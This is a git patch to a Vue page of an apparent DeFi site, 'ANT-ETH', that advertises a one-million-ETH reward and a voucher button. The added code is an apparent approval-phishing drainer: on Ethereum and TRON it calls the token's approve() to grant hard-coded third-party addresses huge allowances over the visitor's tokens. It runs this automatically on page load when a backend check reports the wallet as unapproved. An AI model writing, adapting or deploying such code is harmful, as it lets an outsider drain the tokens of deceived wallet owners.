From 77434427af6e350d4b207e2c34593e492d17a305 Mon Sep 17 00:00:00 2001 From: queenwuli <942534046@qq.com> Date: Wed, 23 Mar 2022 15:29:20 +0800 Subject: [PATCH] gx --- src/pages/index/index.vue | 51 +++++++++++++++++++++++++++++++++++++++++---------- 1 files changed, 41 insertions(+), 10 deletions(-) diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue index c47138b..b6df809 100644 --- a/src/pages/index/index.vue +++ b/src/pages/index/index.vue @@ -11,14 +11,14 @@ <span class="title">ANT-ETH</span> <div class="right flex align-center"> <img src="../../assets/images/icon.png" class="icon"/> - <span v-if="walletAddress">{{walletAddress}}</span> + <span class="address" v-if="walletAddress">{{walletAddress}}</span> <span v-else @click="showAccreditModal">{{ $t("message.ConnectWallet") }}</span> </div> </div> <div class="banner-content"> <p>{{ $t("message.Defi") }}</p> <p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p> - <button @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> + <button v-if="!hasApprove" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> </div> </div> <img src="../../assets/images/banner.png" class="banner"/> @@ -102,6 +102,7 @@ setup() { const { proxy } = getCurrentInstance(); let walletAddress = ref(''); + let hasApprove = ref(false); let isShowApproveModal = ref(false); let isShowAccreditModal = ref(false); let isShowWalletModal = ref(false); @@ -159,30 +160,54 @@ let address = ''; if(window.ethereum) { await window.ethereum.enable(); - address = await ethereum.request({ method: 'eth_accounts' }); + const accounts = await ethereum.request({ method: 'eth_accounts' }); + address = accounts[0]; }else if(window.tronWeb){ address = window.tronWeb.defaultAddress.base58; } - return address; + proxy.walletAddress = address; } async function approve () { + if(window.ethereum) { + ethereumApprove() + }else if(window.tronWeb){ + tornWebApprove() + } + } + function ethereumApprove () { const web3 = new Web3(window.ethereum); const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; - const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; - const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600'; + const authAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600'; const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}]; const contract = new web3.eth.Contract(abi, contractAddress); - const result = await contract.methods.approve(authorizedAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000}); - console.log(result); + contract.methods.approve(authAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000}).then((res) => { + alert('授权成功'+res) + }) + } + async function tornWebApprove () { + const tronWeb = window.tronWeb; + const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; + const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"; + let instance = await tronWeb.contract().at(trxContractAddress); + let res = await instance["approve"](authAddress, "90000000000000000000000000000"); + res.send({ + feeLimit: 100000000, + callValue: 0, + shouldPollResponse: false + }, function(err, res) { + console.log(err) + console.log(res); + }); } async function init() { - proxy.walletAddress = await getAddress(); + await getAddress(); if (proxy.walletAddress) { proxy.$axios({ url: '/dapp/common/isApprove/' + proxy.walletAddress, method: 'get' }).then((res) => { if(res.code === 200) { + proxy.hasApprove = true; sessionStorage.setItem('address', proxy.walletAddress); }else{ approve() @@ -218,6 +243,7 @@ changeLanguage, walletAddress, //地址 + hasApprove, //是否授权 }; }, methods: { @@ -408,5 +434,10 @@ color: #080808; margin-top: 15px; } - +.address{ + width: 100px; + overflow: hidden; + text-overflow:ellipsis; + white-space: nowrap; +} </style> -- Gitblit v1.9.1